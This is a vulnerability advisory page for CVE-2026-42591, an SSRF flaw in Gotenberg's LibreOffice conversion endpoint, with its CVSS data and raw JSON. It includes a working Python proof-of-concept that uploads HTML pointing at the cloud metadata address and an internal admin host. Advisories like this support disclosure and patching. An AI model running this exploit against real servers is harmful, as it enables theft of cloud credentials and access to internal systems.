Security Vulnerability Report
中文
CVE-2026-42591 CVSS 8.2 HIGH

CVE-2026-42591

Published: 2026-05-14 16:16:22
Last Modified: 2026-05-14 18:16:48

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.32.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit for CVE-2026-42591 Gotenberg SSRF # The target URL of the vulnerable Gotenberg instance target_url = "http://vulnerable-host:3000/forms/libreoffice/convert" # Malicious HTML content containing an internal URL # LibreOffice will fetch this URL during conversion malicious_html = """ <html> <body> <h1>SSRF Test</h1> <img src="http://169.254.169.254/latest/meta-data/ami-id" /> <img src="http://internal-server.local/admin" /> </body> </html> """ # Prepare the multipart form data files = { 'files': ('exploit.html', malicious_html, 'text/html') } # Data options for LibreOffice conversion data = { 'waitTimeout': '10s' } try: # Send the request to trigger the vulnerability response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("Request sent successfully.") print("Check the internal server logs or DNS tunnel to confirm exploitation.") else: print(f"Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42591", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.163", "lastModified": "2026-05-14T18:16:48.083", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw", "source": "[email protected]"}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}